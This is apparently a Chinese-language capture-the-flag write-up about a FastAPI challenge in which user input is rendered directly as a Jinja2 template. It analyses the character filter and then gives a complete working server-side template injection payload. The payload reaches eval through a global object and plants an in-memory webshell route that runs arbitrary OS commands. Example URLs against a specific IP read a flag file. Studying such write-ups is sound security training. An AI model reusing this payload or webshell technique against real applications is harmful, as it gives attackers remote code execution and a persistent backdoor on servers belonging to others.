
python
import os
import jinja2
import functools
import uvicorn
from fastapi import FastAPI
from fastapi.templating import Jinja2Templates
from anyio import fail_after, sleep
# jinja2==3.1.2
# uvicorn==0.30.5
# fastapi==0.112.0
def timeout_after(timeout: int = 1):
def decorator(func):
@functools.wraps(func)
async def wrapper(*args, **kwargs):
with fail_after(timeout):
return await func(*args, **kwargs)
return wrapper
return decorator
app = FastAPI()
access = False
_base_path = os.path.dirname(os.path.abspath(__file__))
t = Jinja2Templates(directory=_base_path)
@app.get("/")
@timeout_after(1)
async def index():
return open(__file__, 'r').read()
@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str ):
global access
# 将数字、百分号、非英文字母过滤并且只能access不能为true(即只能访问一次)
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
else:
# {{{{ 就是{{ 进行转义
# 将数字、百分号、非英文字母进行过滤,并且只能access不能为true(即只能访问一次)
jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})
access = True
return "fight"
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8000)
最关键的代码就是
python
@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str ):
global access
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
else:
jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})
access = True
return "fight"
这段代码将数字、百分号、非英文字母进行过滤,并且只能access不能为true(即只能访问一次)
python
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
出现下面这段内容就说明有SSTI漏洞
python
.from_string( 用户可控的内容 )
而且在最后返回了一个app对象,可以通过这个app对象进行攻击利用
python
.render({"app": app})
有了app我们可以利用SSTI更加方便,可以使用app.class、app.__globals__等
如果没有app我仍然可以使用jinjia2自带的对象request、cycler
传 app = 给黑客送一把金钥匙
不传 app = 黑客自己撬锁,麻烦一点,但还是能进去
使用add_api_route添加内存马
可以通过add_api_route来动态的添加路由,以及对应的endpoint(实际处理请求的函数)
下面这个就是python内存马
python
add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())
然后还要拿到当前的main函数,main是模块里面的,先获取moudles,moudles从sys获取,所以可以通过以下结构为当前服务添加python内存马
python
__import__('sys').modules['__main__'].app.add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())
要执行代码,还要获取eval函数或者exec函数,也就是获取到__globals__['builtins']['eval'],获取__globals__的方法很多,这里使用源码中引入的sleep
以下就是完整的payload
python
sleep.__init__.__globals__["__builtins__"]["eval"]("__import__('sys').modules['__main__'].app.add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())")
访问下面的地址,通过eval函数给当前的main函数添加内存马
http://49.232.142.230:16800/calc?calc_req=sleep.__init__.__globals__\["__builtins__"\]\["eval"\]("__import__('sys').modules\['__main__'\].app.add_api_route(path='/cmd',endpoint=lambda cmd :import('os').popen(cmd).read())")

然后访问下就可以执行命令
http://49.232.142.230:16800/cmd?cmd=cat /flag
